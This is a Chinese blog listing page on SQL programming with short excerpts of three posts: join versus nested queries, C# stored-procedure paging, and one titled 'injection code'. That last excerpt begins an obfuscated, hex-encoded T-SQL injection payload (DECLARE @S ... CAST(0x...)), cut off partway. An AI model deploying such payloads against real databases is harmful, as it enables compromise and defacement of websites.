sql编程
皓月明
这个作者很懒,什么都没留下…
展开
-
内连接查询比较,上边为嵌套查询
select a.*,(select siteName from tb_site where siteid=a.siteid) as SiteName,(select PageName from tb_Page where id=a.Page) as PageName from tb_AdPosition aselect a.*,s.siteName,p.PageName from tb_AdP原创 2008-08-18 18:32:00 · 569 阅读 · 0 评论 -
存储过程加C#类分页,高效率的分页,有谁想用进来看
using System;using System.Data;using System.Configuration;using System.Web;using System.Web.Security;using System.Web.UI;using System.Web.UI.WebControls;using System.Web.UI.WebControls.WebParts;using原创 2008-11-07 17:44:00 · 942 阅读 · 0 评论 -
注入代码
DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0x4400650063006C0061007200650020004000540020005600610072006300680061007200280032003500350029002C004000430020005600610072006300680061007200280032003500350029002000原创 2010-01-13 09:47:00 · 556 阅读 · 0 评论